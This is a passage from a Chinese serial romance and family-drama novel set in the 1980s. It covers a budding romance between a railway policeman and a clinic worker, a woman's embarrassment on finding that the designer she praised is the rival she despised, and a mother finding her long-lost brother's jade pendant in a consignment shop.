“你?行不行啊?做点事冒冒失失的,别给我整得更严重了!” 雷鸣被她一说,脸更红了,搓着手,声音低得像蚊子哼哼: “我……我试试?我保证轻轻的!” 看他那副紧张又诚恳的笨拙样,袁小圆撇撇嘴,没好气地把脚伸过去: “……轻点儿啊!” 雷鸣如蒙大赦,赶紧搬了个小凳子坐下,小心翼翼地捧起袁小圆的脚踝。 那脚背又白又嫩,此刻却红肿了一块,还沾着泥水。 他拿起棉签,蘸了碘伏,屏住呼吸,动作轻柔,一点一点地清理着泥污和伤口边缘。 一边擦,一边不停地小声念叨: “对不起,真对不起……我真不是故意的……我就是太着急了……你疼不疼?我、我再轻点……” 他这絮絮叨叨、小心翼翼的样子,反倒让小姑娘心里的火气消了点。 她看着他低垂的、湿漉漉的脑袋,浓密的睫毛因为紧张还在微微颤动,忽然想起刚才在林场的乌龙,气又有点上来了。 “不是故意的?” 她哼了一声,故意把胳膊肘上在泥坑里擦破皮的地方亮给他看, “那这个呢?要不是你突然冲上来拦我,我能摔成这样?大爷差点就等不及了!你说你,看着人高马大的,做事怎么这么不过脑子啊?莽撞!幼稚!” 雷鸣被她数落得抬不起头,耳朵尖都红透了。 他停下擦药的手,抬起头,眼神异常诚恳: “是!你说得对!我……我确实做事冲动,不够稳重,太幼稚了,我以后一定改!真的!我保证!” 没想到,他这认真认错、深刻“检讨”的样子,反倒把姑娘逗乐了。 “噗嗤——”一声,她没忍住笑了出来,圆眼睛弯成了月牙儿。 雷鸣被她笑得一愣,有点懵:“你……你笑什么?” “我笑你傻呗!” 姑娘忍着笑,“其实吧……现在想想,你这样也没什么不好的呀?” “啊?”雷鸣更懵了。 “你想啊,” 姑娘晃了晃没受伤的脚丫子, “要当时砸门的真是个坏蛋,你不就第一时间冲上去保护大爷了?多英勇啊!唰的一下就把门撞开了!跟电影里似的!” 她说着,眼睛亮晶晶地看着雷鸣,“诶,对了,你胳膊没撞伤吧?” 她这突如其来的关心和肯定,像一股暖流猛地撞进雷鸣心里。 他只觉得脸上“轰”地一下更烫了,赶紧低下头,不敢看她的眼睛,声音闷闷的: “没……没伤着。” 姑娘又晃着脚丫子问道,“我叫袁小圆,你叫什么名字啊?” 雷鸣看着在眼前晃着的脚丫子,一时没反应过来,还是姑娘踢了他一脚,他才开口。 “哦!哦!” 他赶紧抬起头,像回答长官问话一样,语速飞快, “我叫雷鸣!雷雨的雷,轰鸣的鸣!我的工作是乘警!在铁路线上跑车的!今年二十!S市铁路运输技校公安班毕业的!家里有爸妈,上头两个哥哥一个姐姐,我最小,我身高182cm,体重……” 他竹筒倒豆子似的,差点把家里门牌号都报出来。 “停停停!” 袁小圆哭笑不得地打断他,脸也有点发热, “谁让你报户口本啦?我就问你名字!” 这傻大个儿,也太实诚了点儿。 雷鸣的脸又红了,赶紧低下了头。 袁小圆看着他红透的耳根和低垂的脑袋,心里也觉得有点怪怪的,好像有什么东西轻轻挠了一下。 她清了清嗓子,故意板起脸掩饰那点不自在: “问你名字呢!我是为了让你赔偿我!身体和心灵的双重创伤,懂不懂?” “赔偿?好!” 雷鸣愣了一下,赶紧从口袋里摸出钱包里,一股脑把里面的钱全都掏了出来,看着足有三四十块钱。 袁小圆赶紧打断,“停停停!谁跟你要钱了!” “啊?那……那你要什么?” 雷鸣茫然地看着她,眼神清澈又认真, “你要什么都行!你尽管说!我什么都给你!” 被他这样直勾勾地看着,袁小圆脸上那点热度也压不住了。 她有点不自在地别开眼,手指无意识地卷着湿漉漉的衣角,声音轻了下去: “……那……那你请我吃顿饭好了!就当……当补偿了!” “好!好!吃饭!” 雷鸣立刻点头如捣蒜,随即又想起什么,为难地看了看窗外哗哗的大雨和墙上的挂钟, “可现在……饭店都关门了……” 袁小圆也看了看时间:“那就明天!” “明天?” 雷鸣挠挠头,一脸歉意, “明天一早我得跟车走了,跑一趟线,来回得三天……三天后!三天后我回来就去接你!你在哪?” “我?” 袁小圆指了指军属区的方向, “我在军属区卫生所工作,就住所里。今天本来该去报道的...” 半路下雨了,那个热心送她的大爷一看下雨,马上就说一定要赶紧回家,想把她送回城里。 她想着也没多远了,自己走过去得了,谁知道迷路了,在路上走了好久,好不容易找到一个房子,想过去休息一下,结果就碰上大爷出事了。 她说着说着,突然想起什么,猛地一拍大腿, “哎呀!我的行李!还在林场那小屋门口呢!” “在呢在呢!”雷鸣赶紧站起来,“我塞后备箱了!我去拿!” 他飞快地跑出去,不一会儿就扛着那个沉甸甸、湿漉漉的大包袱进来了。 袁小圆松了口气,接过包袱放在凳子上,在里面掏啊掏,摸出一个小油纸包。 打开,里面是几颗压得有点变形的水果糖。 她剥了一颗塞进嘴里,又递了一颗给雷鸣: “喏,给你。我有点低血糖,刚才一急一吓,头有点晕,吃点糖缓缓。” 她自己也含着糖,鼓着一边腮帮子,像只偷吃的小松鼠。 雷鸣看得有点呆了,小圆也转过身来,两人眼神交接的一瞬间,仿佛触电了一般,两人又赶紧低头。 气氛一时之间有些尴尬。 还好这个时候,医院联系了林场,那边派人过来了,家属也匆匆赶到。 老人从抢救室推了出来,好在救助的及时,老人并没有什么大碍。 家属对两人千恩万谢,又是给东西又是给钱的,两人不停推让也推让不过。 最后趁着家属去方便的时候,把钱塞到柜子里,一起溜走了。 这会儿已经晚上十点多了,雷鸣开车把袁小圆送到军属区卫生所门口。 里头今天才刚收拾过,门也是开着的。 “到了。” 雷鸣停下车,看着袁小圆跳下车去拿她的宝贝包袱。 “谢啦!三天后,别忘了!” 袁小圆站在卫生所的屋檐下,冲他挥了挥手,脸上带着点狡黠的笑,圆圆的脸上还沾着没擦干净的泥点,在灯光下却显得格外生动。 “忘不了!” 雷鸣用力点头,看着她转身推开卫生所的门走进去,那扇门轻轻关上,隔绝了视线。 他在原地停了好一会儿,才发动车子,掉头驶入雨幕。 嘴角,不知何时已经翘了起来。 这么晚了,雨越下越大,再开车去城里怕不安全,雷鸣最终还是回到了雷家。 敲了两下门,里面就传来雷玉华带着浓浓睡意和不满的声音:“谁啊?大半夜的……” 门拉开一条缝,雷玉华披着外衣,睡眼惺忪,看清是雷鸣,打着哈欠抱怨道: “你这小子,不是去城里报道吗?怎么又淋成落汤鸡跑回来了?我看你不是去报道,是又去雨地里发疯了吧?难道……又是那个周柒柒闹的?” 她从小看着这个表弟长大的,知道他的性子,是个纯情的情种。 雷鸣此刻心情出奇的好,完全没在意表姐的话。 他摇摇头,脸上带着一种抑制不住、有点傻乎乎的笑容,侧身挤进门: “没有的事。姐,你快睡吧。” 声音轻快,径直往自己房间走去,留下雷玉华站在门口。 看着他湿漉漉却明显带着莫名雀跃的背影,狐疑地皱了皱眉,轻轻吐槽了一句, “有病吧?!” 第236章 才华横溢的女强人 第二天一大早,天刚蒙蒙亮,雷政委就起来了。 推开房门,正撞见雷鸣顶着俩黑眼圈急匆匆往外冲。 “雷鸣?你这……怎么搞的?昨晚上没去城里?” 雷政委吃了一惊。 “叔!来不及说了!” 雷鸣头也不回,声音沙哑,脚步飞快,一溜烟就消失在院门口。 雷政委皱着眉,心里直犯嘀咕。 这时,厨房里传来锅铲碰撞的声音,雷玉华系着围裙在忙活早饭。 “玉华,雷鸣昨晚怎么回事?是不是遇上啥事了?” 雷政委走到厨房门口问道。 雷玉华正煎着鸡蛋,嗤笑一声,头也不抬: “还能咋回事?八成又去雨地里演他的‘情圣’去了呗!以为自己是《庐山恋》里的郭凯敏呢?哼,人家张瑜演的那是人民教师,有知识有文化!他惦记那个周柒柒,算个啥?狐假虎威的米虫一个!” “雷玉华!” 雷政委脸色一沉,声音猛地拔高, “我昨天怎么跟你说的?不许再说人家周柒柒!不长记性是不是?” “不是你先问的吗?” 雷玉华撇撇嘴,有点不服气地顶了一句,手上翻鸡蛋的动作却没停。 雷政委被她噎了一下,想起正事,压着火气: “行了!少扯别的。你今天到底干啥去?你妈现在这样,我可不放心让她跟你瞎跑。你跟我说明白,我听听再决定。” 雷玉华关了火,把煎蛋盛出来,这才转过身,脸上带着点得意: “爸,您就放一百二十个心吧!好事儿!我是去市文工团!您知道吧?往年省里年底文艺汇演,咱军区文工团稳坐头把交椅,S市文工团?哼,七八名开外晃荡!” 她端起盘子往饭厅走,边走边说, “可今年不一样了,他们新换了个姓卓的负责人,听说下了血本,节目编排得挺用心,尤其服装,专门请了个顶厉害的设计师!这不,请我过去给‘指导指导工作’呢!” 她把“指导”两个字咬得特别重。 雷政委有些哭笑不得,接过她手里的盘子。 “不就是节目连续两年拿了省里第一名吗?瞧给你嘚瑟的!啥时候都要提一嘴。不过这跟你妈有啥关系?” “哎呀爸!” 雷玉华拉过椅子让父亲坐下, “我这不是想着带妈出去散散心嘛!看看人家新排的节目,新鲜新鲜,总比在家闷着强!再说了……” 她凑近一点,压低声音,带着点神秘, “听说请来那个女设计师,特别有本事!不光做演出服,还会做那种特别洋气的礼服呢!我想着,到时候跟人家套套近乎,让她给妈也量身设计两身好衣裳!妈穿上新衣服,精神头一好,心情不就好了嘛?” 这话戳中了雷政委的心窝子。 妻子周淑华以前也是个爱美要强的人,自从弟弟那事儿后,精气神都垮了,穿衣服虽然精神,但没以前那么讲究了。 他看着女儿:“那行,爸给你拿钱去,人家好歹是个设计师,肯定不便宜。” “钱您甭操心!”雷玉华拍着胸脯,“我有!” “你有是你的!花你自己身上,花到你们小家里去!给你妈做衣服,爸出钱!” 雷政委摆摆手,语气不容置疑, “不然容易闹出家庭矛盾来。” 说着就要去拿钱包。 雷玉华知道父亲的脾气,没再争,麻利地摆好碗筷: “成成成,听您的!赶紧吃饭,吃完我就带妈走!” 吃过早饭,雷玉华推出她那辆二八凤凰自行车。 周淑华被女儿强拉着,虽然没什么精神,但也顺从地坐上了后座。 雷玉华蹬着车,载着母亲,晃晃悠悠地往市里去了。 先拐到军区文工团,雷玉华进去把几份文件处理完,跟同事交代了几句,这才重新载着母亲赶往市文工团。 到地方已经九点多了,小礼堂门口挺安静。 雷玉华停好车,拉着母亲快步走进去。 后台方向挺热闹,一个穿着灰色中山装、头发梳得一丝不苟的中年男人迎了上来,正是卓处长。 “哎呀,雷干事!您可来了!” 卓处长笑容满面地握手。 “不好意思卓处长,路上耽误了点,没晚吧?”雷玉华客气道。 “没晚没晚!正正好!” 卓处长连忙摆手, “我们这边也刚弄好,我们那设计师同志对服装那叫一个认真负责,不光负责服装,还帮我们设计了舞美,这不,临上台前还在检查细节呢,刚刚确认完,你们来得正好,快找个位置坐下,先看看我们这节目排得咋样!” 他语气里带着明显的自豪和推崇。 雷玉华一听设计师也在,眼睛一亮: “这位设计师同志这么认真啊?真难得!对了卓处长,待会儿方便引荐一下吗?我和我妈都想认识认识这么厉害的女同志呢!” 她说着,拉了拉旁边一直沉默的周淑华。 卓处长面露难色: “这……她现在正跟我爱人那边处理后续的顾问合同细节呢,我们打算正式聘请她做长期顾问!等她们忙完,她肯定要出来看效果的,到时候我再给您引荐,您看行吗?” “行行行!那太好了!我们不急!” 雷玉华满口答应,心里更期待了。 能当上长期顾问,那得是多大的本事? 小礼堂里光线偏暗,前面几排还堆着些布景道具和灯光设备。 雷玉华便拉着母亲在后排找了个靠边的位置坐下。 周淑华一直没什么话,只是默默打量着这个陌生的小礼堂。 刚坐定没多久,观众席的灯光就暗了下来,只有舞台方向亮着柔和的暖光。 演出马上就要开始了。 就在这时,靠近后台的侧门被轻轻推开,两个人影一前一后走了出来。 前面是个穿着挺括列宁装的女同志,大概是卓处长的爱人。 后面跟着一个年轻女子。 灯光虽然昏暗,但那年轻女子一走出来,仿佛自带聚光灯。 她穿着一件裁剪极其合身的米白色薄呢子大衣,领口翻出浅咖色的格纹内衬,腰身收得恰到好处,下摆利落,脚上一双擦得锃亮的黑色半高跟皮鞋。 她步履从容,身姿挺拔,即便在昏暗的光线下,那份干练、自信又带着点优雅的气场也瞬间抓住了雷玉华的目光。 “妈!快看!” 雷玉华激动地扯了扯周淑华的袖子,压低声音,语气里满是赞叹, “那个!穿米白大衣的!肯定就是设计师同志!我的天……这气质,这打扮,真洋气!一看就是有本事的女强人!比电影里的还好看!” 周淑华顺着女儿指的方向看过去,昏暗的光线下,那身影的轮廓确实让她心头莫名一跳。 她眯起眼,努力想看清对方的脸。 那女子正微微侧头和卓处长的爱人低声说着什么,灯光在她精致的下颌线和挺直的鼻梁上投下柔和的阴影。 “是……是挺好看的……” 周淑华喃喃道,眉头却微微蹙起,一种挥之不去的熟悉感萦绕心头,她忍不住又往前探了探身子, “可……我怎么觉着……这么眼熟呢?有点像……像……” “像谁啊妈?” 雷玉华正专注地看着那设计师,没太在意母亲的话,随口接道, “像周柒柒?” 她说完自己都觉得好笑,立刻嗤了一声,语气带着毫不掩饰的鄙夷, “您可拉倒吧!怎么可能?人家设计师同志可是凭真本事吃饭的!周柒柒那种,也就仗着沈淮川的津贴买几件好衣裳显摆显摆,能跟人家比?米虫就是米虫!” 她猛地想起父亲的警告,赶紧打住话头,有点心虚地摆摆手: “哎呀不说她了!爸不让提!咱们好好看节目,看节目!” 小礼堂的灯光彻底暗下,只留舞台上一束追光,清清冷冷地打下来。 音乐缓缓流淌,是那首《一支难忘的歌》,旋律像山涧溪流,带着岁月的沉沙,又裹着淡淡的、难以言说的怀念。 幕布拉开,十几个女演员静立台上。 灯光渐亮,聚焦在她们身上。 嚯! 台下响起一片压抑的吸气声,连见惯了场面的雷玉华,眼睛都亮了一下。 演员们上身穿着洗得发白、带着旧时光晕的靛蓝色土布褂子。 下身的裙子也是同色系,却在裙摆处,匠心独具地镶了一圈细细的、约莫一指宽的红布条。 红与蓝的碰撞,朴素中瞬间跳脱出亮眼,无声地诉说着知青岁月里那抹被压抑却从未熄灭的热望。 那些服装不知道经过了什么特殊处理,明明很旧,但破,但看着异常精致,每个人还有自己不同的细节。 更绝的是舞美。 舞台后方,几块巨大的、质地粗粝的靛蓝和本白色棉布从顶棚垂落,自然形成褶皱,像连绵的山峦,又像被风吹起的田野。 几缕柔和的光束打在布幔上,光影流动,营造出时光流转、记忆朦胧的意境。 演员们就在这蓝白交织的“山野”间起舞。 市文工团的演员们,单论基本功,比起军区文工团的尖子们,确实还欠点火候,旋转不够利落,跳跃也稍显滞涩。 可奇就奇在,配合上这一身“会说话”的服装和这充满诗意的布景,整个节目竟像被注入了灵魂! 演员们每一个抬手、每一个回眸,那旧蓝褂子上的褶皱仿佛都承载着记忆的重量,裙摆那一圈红,随着动作若隐若现,像心底压抑的火苗在倔强跳动。 她们的动作不再仅仅是技巧的展示,而是化作了无声的诉说。 舒缓深沉的音乐里,她们用身体语言表达着对那片土地的复杂情感——有离别的惆怅,有青春逝去的感伤,也有对未来隐隐的期盼。 台下鸦雀无声。 众人都不知不觉被拽进了那泛黄的岁月画卷里。 她下意识地侧头去看母亲,昏暗的光线下,只见周淑华怔怔地望着舞台,眼里竟蓄满了泪水,顺着脸颊无声滑落。 她显然是想起了自己下乡时的岁月。 雷玉华心里一揪,轻轻碰了碰母亲的手臂:“妈?” 周淑华猛地回过神,慌忙用手背抹去眼泪,声音带着浓重的鼻音: “没、没事……演得真好,这歌……这衣裳……” 后面的话哽在了喉咙里。 终于,一曲终了。 演员们定格,灯光渐暗。 短暂的沉寂后,小礼堂里爆发出热烈的掌声,比之前任何一个节目都要真诚、持久。 灯亮了,人们开始议论纷纷,不少上了年纪的观众还在悄悄抹眼角。 雷玉华看母亲情绪还没平复,便扶着她站起来: “妈,您先在这边椅子上坐会儿,缓口气。我去后台看看卓处长他们,顺便……” 她眼睛亮晶晶的,“认识认识那位女设计师!” 她十分激动,迫不及待想跟那位才华横溢的女强人攀谈。 雷玉华脚步轻快地穿过人群,直奔后台。 后台门开着,里面人影晃动,弥漫着汗味、油彩味和刚下场的兴奋劲儿。 她一眼就看到了那个米白色的身影! 她正被几个刚下台的演员围着,微微低着头,侧脸线条柔和又专注,手指轻轻捻着一个演员裙摆上那圈红布条,似乎在叮嘱着什么,姿态从容,十分专业感。 后台不算明亮的灯光打在她身上,仿佛给她镀上了一层柔光,整个人闪闪发亮。 雷玉华心头一阵激动,几乎是小跑着过去,正想喊呢。 就在这时,旁边一个舞蹈演员激动地大声喊道:“周柒柒同志!” 雷玉华脸上的笑容猛地僵住,眼睛瞪得溜圆,难以置信地看着那个刚刚转过身来、闻声抬头的“设计师”。 米白色呢子大衣衬得她肤色白皙,眉眼清晰。 正是她不久前还在鄙夷地称之为“米虫”、“狐假虎威”的周柒柒! 第237章 她这么厉害... 雷玉华只觉得一股热血“嗡”地冲上头顶,耳朵里嗡嗡作响。 眼前这个被卓处长和演员们簇拥着、闪闪发光的设计师,竟然真的是周柒柒! 那个她刚才还在心里鄙夷地骂作“米虫”、“狐假虎威”的周柒柒! 自己刚才那些对“女强人设计师”的百般夸赞,此刻全变成了无形的巴掌,噼里啪啦扇在自己脸上,又响又疼。 什么“有本事”、“气质好”、“比电影里的还好看”... 原来夸的都是她最瞧不上的周柒柒! 雷玉华眼前一阵发黑,脚下发飘,差点没站稳。 就在她恨不得找个地缝钻进去的时候,卓处长却热情地一把拽住了她的胳膊,不由分说就把她往周柒柒跟前带。 “周设计师!来来来,给您介绍一下!” 卓处长满面红光,声音洪亮, “这位是军区文工团的雷玉华干事!雷干事可是我们市文工团的贵客,早就久仰您的大名,一直想认识您呢!这不,今天专门过来了!” 周柒柒刚和那个舞蹈演员说完话,闻声转过头。 目光落在雷玉华脸上时,原本的笑容瞬间淡了下去,眼神里多了几分疏离和了然。 她显然认出了眼前这位是周淑华的女儿,那天在医院,两人有过一面之缘,她匆匆过赶过来,还对自己冷哼了一声。 周柒柒没说什么,只是伸出手,礼节性地和雷玉华碰了碰指尖,语气平淡得像白开水:“雷干事,你好。” 卓处长正沉浸在节目成功的兴奋和对周柒柒的推崇里,没察觉出来。 他还乐呵呵地继续加码: “雷干事刚才还特意说了,有重要的事儿要跟您说呢!是吧,雷干事?您快说说!” 他殷切地看着雷玉华,等着她开口。 雷玉华只觉得嗓子眼发干,嘴唇动了动,脑子里一片空白,那些想认识“设计师”、想套近乎给母亲做衣服的话,此刻一个字也吐不出来。 说什么?怎么说? 对着周柒柒这张脸,她只觉得无比难堪。 就在她僵在原地,脸颊涨红,恨不得咬掉自己舌头的时候,周柒柒却先开口了。 语气依旧平静,带着点公事公办的利落: “卓处长,不好意思打断一下。后台那边还有几处灯光布景衔接的地方,我刚才看效果觉得还能再调整优化一下,得赶紧过去跟灯光师傅碰个头,晚了怕影响下午的联排,有什么事情晚点再说吧?” 她目光扫过卓处长,没再看雷玉华,“失陪了。” “哎呀!对对对!工作要紧!工作要紧!” 卓处长一拍脑门,连忙点头,脸上全是理解, “周同志您快去!您这工作态度,真是没得说!怪不得人家事业做得这么大!雷干事,您看,周设计师就是这么认真负责!” 他还不忘回头对着雷玉华感叹一句,语气里满是钦佩。 周柒柒微微颔首,转身就朝着后台深处走去,米白色大衣的背影挺拔利落,很快就消失在忙碌的人影里。 雷玉华看着那个方向,只觉得脸上那点热度还没褪下去,心里又堵上了一块大石头,沉甸甸的,压得她喘不过气。 卓处长这才转向雷玉华: “雷干事,您看我们这个节目,刚才效果怎么样?您是专业的,给指点指点,看还有啥需要修改的地方没?我们也好抓紧时间练!” 雷玉华深吸一口气,强迫自己把注意力从周柒柒身上拉回来。 她定了定神,努力找回自己作为“指导”的专业姿态,清了清嗓子,尽量让自己的声音听起来平稳客观: “嗯,整体编排立意不错。服装和舞美设计,确实很出彩,很有想法,是最大的亮点,这个没得说。” 她顿了顿,把“尤其是周柒柒的设计”这几个字硬生生咽了回去, “不过,演员的基本功,尤其是一些旋转和跳跃的动作,完成度还是欠点火候,不够干净利落。如果能再下苦功好好练练,把动作抠得更精准到位,配上这么好的服装舞美,冲击一下这次汇演的第一名,也不是不可能。” 说着她又重点提出了几个动作,她这话说得还算中肯,也点出了市文工团演员的短板。 卓处长听了连连点头: “是是是!雷干事您说得太对了!基本功这块,我们一定抓紧练!您这建议提得太及时了!” 雷玉华却没什么心思再客套寒暄了。 她只觉得浑身不自在,只想赶紧离开这个地方。 “那,卓处长,你们先忙,我妈还在外面等着,我先过去了。” 她勉强扯出一个笑容,几乎是逃也似的转身离开了后台。 推开小礼堂侧门,外面午后的阳光有些刺眼。 雷玉华一眼就看到母亲周淑华还坐在之前那张靠边的椅子上,正望着舞台的方向出神,脸上的泪痕已经干了,但眼神还有些怔忡。 雷玉华脚步沉重地走过去。 周淑华听到动静,转过头来。 女儿走的时候还神采飞扬,满眼期待,怎么回来就拉着一张脸,眼神躲闪,跟霜打了的茄子似的? “玉华?怎么了这是?” 周淑华心里一紧,忙拉着女儿的手问, “脸色这么难看?跟卓处长他们,谈得不顺心?” 她以为是女儿在人家那里碰了钉子。 雷玉华一屁股坐在母亲旁边的空椅子上,垂着头,嘴唇抿得紧紧的。 半晌,才闷闷地开口,声音像蚊子哼哼: “妈,那个设计师,她...她真的是...” 话到嘴边,又想起父亲严厉的警告和刚才那番难堪,硬生生卡住了。 “是什么?你倒是说啊?” 周淑华更着急了,“有什么不能跟妈说的?谁啊这么神秘?” 雷玉华抬起头,看着母亲担忧又困惑的脸,心里憋得慌,终于还是忍不住,带着点破罐子破摔的意味,小声嘟囔: “...就是那个...不能说名字的人!” “周柒柒?” 周淑华一愣,随即脸上并没有雷玉华预想中的震惊或者立刻拉下的脸,反而露出一种“果然如此”的了然,甚至还轻轻叹了口气, “是她啊,我猜着也是。” “啊?妈您...您怎么知道的?” 雷玉华这下真惊讶了。 周淑华指了指周围还没散尽的人群,苦笑道: “节目一完,好些人都在议论,说这周设计师有本事,我想不知道都难啊。” 她顿了顿,目光又投向空荡荡的舞台,眼神复杂,带着一种难以言喻的感慨, “真没想到,这孩子,这么有本事!能把衣裳和那布景弄成这样,心思真巧...” 听着母亲语气里那份真真切切的佩服,没有半点勉强,雷玉华紧绷的心弦莫名松了一下。 她偷偷观察着母亲的神色,小心翼翼地问:“妈,您,您不生气?不难过?” “生气?难过?” 周淑华摇摇头,脸上是深深的疲惫和一丝释然, “看到人家这么有本事,妈心里...其实有点佩服,以前是我猪油蒙了心了。” 她似乎想说什么,终究没说出来,只是又叹了口气, “玉华,妈听人说,她还不光是设计衣裳?还弄什么...承包?” “嗯!” 雷玉华见母亲确实没有生气,反而对周柒柒的能力流露出欣赏,胆子也大了起来,语气兴奋, “卓处长亲口说的!说她承包了市里第一服装厂的生产线!做的衣裳在南方那边卖得可好了!厉害吧?人家这才是真本事!” 她说着,全然忘了自己之前对“米虫”的鄙夷,倒像是发现了什么了不得的宝藏。 周淑华听着女儿带着点崇拜的讲述,浑浊的眼睛里也闪过一丝光亮,喃喃道: “是吗?承包生产线...那是大能耐啊!真没想到,她这么厉害...” 她心里头百味杂陈。 佩服是真的,可那股熟悉的、尖锐的刺痛感又悄悄从心口蔓延开,让她忍不住抬手按了按。 “以前,真的是我错怪人家了...” 周淑华的声音低下去,带着浓重的鼻音和深深的困惑, “也不知道我这是为什么?一看到她,或者一听到她的事,这心口就...就痛得慌,所以我下意识就觉得她哪哪儿都不好。” 这仿佛成了她身体里一个解不开的结,一个不由自主的反应。 雷玉华看着母亲痛苦又迷茫的样子,心里那点刚升起的兴奋劲儿也淡了下去,涌上来的更多是心疼。 她连忙搂住母亲的肩膀,笨拙地安慰道: “妈,您别多想!医生说了您这病最忌思虑过重!走,我送您回家歇着去!” 周淑华靠在女儿怀里,疲惫地点点头。 从市文工团出来,母女俩各怀心事,一路沉默。 自行车吱呀呀地碾过柏油路,午后的阳光把影子拉得老长。 过了两个路口,路过解放路口的华宝楼。 这地方门脸不大,是市里老字号信托商店,专门寄卖些玉器、旧首饰、古玩字画之类的物件。 周淑华坐在后座,眼神扫过那古旧的招牌,忽然拍了拍女儿的腰: “玉华,停一下,进去逛逛吧。眼瞅着下个月就是你舅舅生日了,妈想挑块好点的玉佩给你舅舅。” 雷玉华心里还乱糟糟地想着周柒柒的事儿,随口回道: “妈,舅舅都走了那么多年了,你心里还放不下呢,年年都要给他买生日礼物。” 话是这么说,她还是捏闸停了车,锁好,搀着母亲进了华宝楼。 第238章 玉佩 店里光线有点暗玻璃柜台擦得锃亮里面摆着各式各样的旧物件玉镯、戒指、鼻烟壶、铜钱串儿都带着岁月沉淀的光泽。 售货员是个四十来岁的妇女见有人进来抬了抬眼皮也没多热情。 这里的东西贵十天半个月都开不了一次张。 母女俩沿着柜台慢慢看。 周淑华看得仔细手指隔着玻璃点点这个瞧瞧那个但似乎都没特别中意的。 雷玉华心里还在想着女强人有点心不在焉眼神飘忽。 就在两人准备离开往门口走时周淑华的目光无意间扫过角落一个不起眼的柜台。 她的脚步猛地钉住了像是被什么东西狠狠攫住! “等等!” 她声音有点发颤一把拉住女儿指着角落里一块不起眼的玉佩 “玉华,你看那个!那个!” 雷玉华顺着母亲的手指看去。 那是一块不大的玉佩样式古朴雕着常见的平安如意纹灰扑扑地躺在绒布上。 她没看出什么特别:“怎么了妈?这挺普通的啊?” 周淑华却像没听见几步扑到柜台前脸几乎要贴在玻璃上眼睛死死盯着那块玉呼吸都急促起来。 “同志!同志!麻烦您麻烦您把这块玉佩拿出来给我看看!快!快拿出来!” 她急得直拍柜台玻璃声音都变了调。 售货员被她的样子吓了一跳皱着眉 售货员看她确实不对劲嘟囔了一句“神经兮兮的”慢吞吞地打开柜锁戴上白手套小心翼翼地把那块玉佩拿了出来放在柜台的绒布上。 “喏看吧。小心点啊!” 玉佩一拿出来周淑华几乎是扑上去一把抓在手里! 温润冰凉的触感传来她浑身一震。 紧接着她颤抖着手猛地从自己贴身的衣领里扯出一根被体温焐热的红绳绳子上系着一块几乎一模一样的玉佩! “玉华!你看!你看啊!是不是一模一样!” 她把两块玉佩紧紧并排按在绒布上推到女儿和售货员眼前。 灯光下两块玉佩的质地、大小、纹饰清晰无比地呈现出来。 一样的玉料,一样的雕工,连那岁月沉淀的温润光泽都如出一辙! 周淑华眼睛里有泪光泛出,激动道。 “像不像?像不像??” “这这是我小时候,爸妈专门给打的,给我和你舅舅一人一块!你看这纹路,这沁色,这就是建邦那块!他还没死!还活着!” 雷玉华心里咯噔一下,她知道舅舅的死一直都是母亲的心病,但还是不敢相信: “妈!舅舅他都走了那么多年了!这玉佩样子老,以前不少人家都有,会不会是碰巧了?” “碰巧?” 周淑华猛地抬起头,眼睛通红,手指用力点着柜台里那块玉佩的一个地方,声音尖利起来, “不不不,绝对不会的!” 她的的手指抖得厉害,用力点着自己那块玉佩的一个角,又急切地指向刚拿出来的那块玉同样的位置, “你看这里!这里!你舅舅小时候皮,爬树摔下来,玉佩角正好磕在石头上!磕掉了一小块!缺了个口子,像不像个小心形?你看!就在这里!两块玉!一模一样的缺口!我绝对不会认错!” 她还记得,玉佩摔坏后,弟弟被妈妈打得屁股开花,还是她半夜偷偷跑去给弟弟上的药。 售货员也凑近了仔细看,看到那个分毫不差的心形缺口,脸上也露出了惊讶的神色,嘀咕道: “哟,还真是!磕得一模一样?这也太巧了.” 雷玉华的心也怦怦狂跳起来,如果这玉佩真是舅舅周建邦的,那. 她立刻转向售货员,急切地问: “同志!麻烦问一下,这块玉佩,是哪里来的?谁寄卖的?” 售货员撩了下眼皮,慢悠悠地: “寄卖的东西,客人信息我们得保密,这是规矩。不能说的。” 周淑华一听就急了,声音带着哀求: “同志!同志您行行好!这玉佩跟我失散多年的亲弟弟有关!我们不是坏人!您看,这是我的军属证!” 她手忙脚乱地从口袋里掏出一个小红本, “求您了,告诉我们吧!我们买!这玉佩我们买了!多少钱都行!买完了,您私下里告诉我们一声就行,我们另外给您好处费!一定重谢!” 她语无伦次,眼泪在眼眶里 直打转。 售货员看看周淑华手里的军属证又看看母女俩焦急万分、不像作假的神情犹豫了一下。 她压低声音:“这玉佩可不便宜这是老玉寄卖的人要价五百块呢!你们真要买?买了我就告诉你们我知道的。” “买!我们买!” 周淑华斩钉截铁她把钱包拿出来里面只有三十四块钱零钱她赶忙转向雷玉华 “玉华你快!你家近!快回家拿钱!有多少拿多少!不够不够找你爸!快去!妈在这儿守着!” 雷玉华一看母亲这架势知道劝不住转身就跑。 她蹬上自行车使出吃奶的劲儿往自己家冲车轮都快蹬出火星子了。 到家也顾不上解释翻箱倒柜把家里的现金全找出来 雷政委一听事关小舅子周建邦也吓了一跳立刻揣上家里存折取了钱火急火燎地赶到华宝楼。 雷政委到底是多年的军人身上自带着沉稳的气势他穿着一身军装身板笔直往柜台前一站。 售货员看着雷政委严肃的脸连提都没敢再提什么“好处费”直接把自己知道的全说了: “老同志这玉佩.是一个姓金的人拿来寄卖的。外号‘金大牙’是在黑市上倒腾玉器古玩的贩子。他常在南城根儿那片活动就是老城墙根儿底下黑市那块儿。不过.” 售货员顿了顿压低声音 “这种贩子收东西路子野不一定是您家亲戚自己拿来的。我估摸着可能是他从哪家收上来的旧货或者.甚至是捡的、偷的也说不准。您要有心理准备别抱太大指望。” 拿到金大牙的线索周淑华攥着那块刚买下、还带着凉意的玉佩说什么也要立刻去找人。 雷政委看她脸色发白嘴唇哆嗦情绪激动得厉害怕她身体受不了强行把她按进吉普车后座自己去找人。 一下午的时间在周淑华焦灼的等待和雷玉华的安抚中显得格外漫长。 天色擦黑的时候雷政委的身影终于出现在路口。 “怎么样?老雷?是不是建邦?是他拿出来卖的吗?” 周淑华扑过去抓住丈夫的胳膊,声音抖得不成样子,眼里全是希冀的光。 雷政委叹了口气,摇摇头,沉声道: “找到那个金大牙了。他说,是半个多月前,一家三口农户去他那儿卖的的,那家人不像有这种老物件的,金大牙问他们玉佩哪来的,他们支支吾吾说不上来,只说是家里老人留下来的,急着用钱看病才拿出来卖,其余的,就什么都不知道了。 周淑华眼里的光瞬间黯淡下去,像被泼了一盆冷水,但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟? 